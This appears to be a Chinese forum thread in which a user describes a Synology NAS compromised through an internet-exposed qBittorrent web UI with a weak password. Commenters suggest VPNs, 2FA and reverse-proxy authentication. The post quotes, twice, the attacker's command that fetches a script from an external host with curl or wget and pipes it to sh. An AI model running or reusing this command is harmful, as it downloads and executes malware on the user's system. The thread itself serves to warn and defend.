请不要把任何和邀请码有关的内容发到 NAS 节点。
邀请码相关的内容请使用 /go/in 节点。
如果没有发送到 /go/in，那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动，会导致账号被禁用。
邀请码相关的内容请使用 /go/in 节点。
如果没有发送到 /go/in，那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动，会导致账号被禁用。
这是一个创建于 204 天前的主题，其中的信息可能已经有所发展或是发生改变。
起因：
偶然发现群晖 cpu 内存占用率很高。
查看进程发现有个进程以 qbittornet 用户运行这一个 名叫./PHsyYPRT 进程，名字很古怪，占了 2 核 cpu ，30%内存。
起初怀疑是 qbit 问题，马上停止套件，进程消失。 但是又过了几天，又发现相同的进程。 一顿搜索
参考：
https://www.reddit.com/r/synology/comments/1co3toi/rogue_process_eating_ram/?tl=zh-hans
发现攻击者可以在 web ui, 设置 torrent 下载完成时执行外部程序：
sh -c "(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh"
考虑到之前 web ui 曾开到公网过，且用了弱密码。被轻易爆破的可能性很大。
赶紧把 web ui 公网关掉。
偶然发现群晖 cpu 内存占用率很高。
查看进程发现有个进程以 qbittornet 用户运行这一个 名叫./PHsyYPRT 进程，名字很古怪，占了 2 核 cpu ，30%内存。
起初怀疑是 qbit 问题，马上停止套件，进程消失。 但是又过了几天，又发现相同的进程。 一顿搜索
参考：
https://www.reddit.com/r/synology/comments/1co3toi/rogue_process_eating_ram/?tl=zh-hans
发现攻击者可以在 web ui, 设置 torrent 下载完成时执行外部程序：
sh -c "(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh"
考虑到之前 web ui 曾开到公网过，且用了弱密码。被轻易爆破的可能性很大。
赶紧把 web ui 公网关掉。
 | 1 ererrrr 204 天前 要用组网呀 |
 | 2 guanzhangzhang 204 天前 异地组成局域网，就没这么多事情了，三层都是通的，而不是映射端口啥的  |
 | 3 needhourger 204 天前  5 弱密码公开到公网啊，那没事了 |
 | 4 justNoBody 204 天前 谢谢分享 |
 | 5 vpsvps 204 天前 qbittorrent 套件源有问题吧 |
 | 6 bao3 204 天前 tailscale ，headscale ，wireguard 等等，大家讨论异地组网就是为了家庭服务不用公网公开。 |
 | 7 yazinnnn0 204 天前 用 ssh -L 4000:127.0.0.1:4000 之类的办法把端口转发到本机啊... 随便一个应用就放公网太危险了 |
 | 9 hiyoi OP 1 再不敢轻易放服务到公网了 |
 | 10 JensenQian 204 天前   |
| 11 JensenQian 204 天前  |
 | 12 xiaozhubin 203 天前 之前群晖安了个 qb, 也是映射外网了，有次突然发现下载列表里出现了一个我从未下载过的资源，就把外网关了，现在只在内网用了。 |
| 13 hiyoi OP @xiaozhubin 对公的服务最好是带 2FA 的。我还开着一个 vaultwarden ，开着 2FA ，一直稳定运行。 |
 | 14 montaro2017 203 天前 @JensenQian #11 真能搜到啊 |
 | 15 okzy520 203 天前 via iPhone 我也是发现 qbit 认证太简单了 就把外网给关了 之后就用 zerotier 了 个人自建的要是不支持 2FA 最好别往外放 |
 | 17 anjing01 203 天前 前面加个 APACHE/NGINX ，配置个 BasicAuth 认证+限制国外 IP 访问（甚至只允许你所在省份 IP 访问）+ 访问日志 403 的 IP 地址 ipset 加入 blocklist ，基本上没啥问题（服务器带外需要 WEB 放出来）； WG 也用，不过那个主要是给外部访问 SAMBA 共享、远程桌面用的； |
 | 18 obeykarma 202 天前 我套了 HTTPS 直接对公网，改了用户名和密码 应该没什么安全隐患，最多扫端口发现我在用 qb 了 |
| 20 okzy520 202 天前 |
Select Language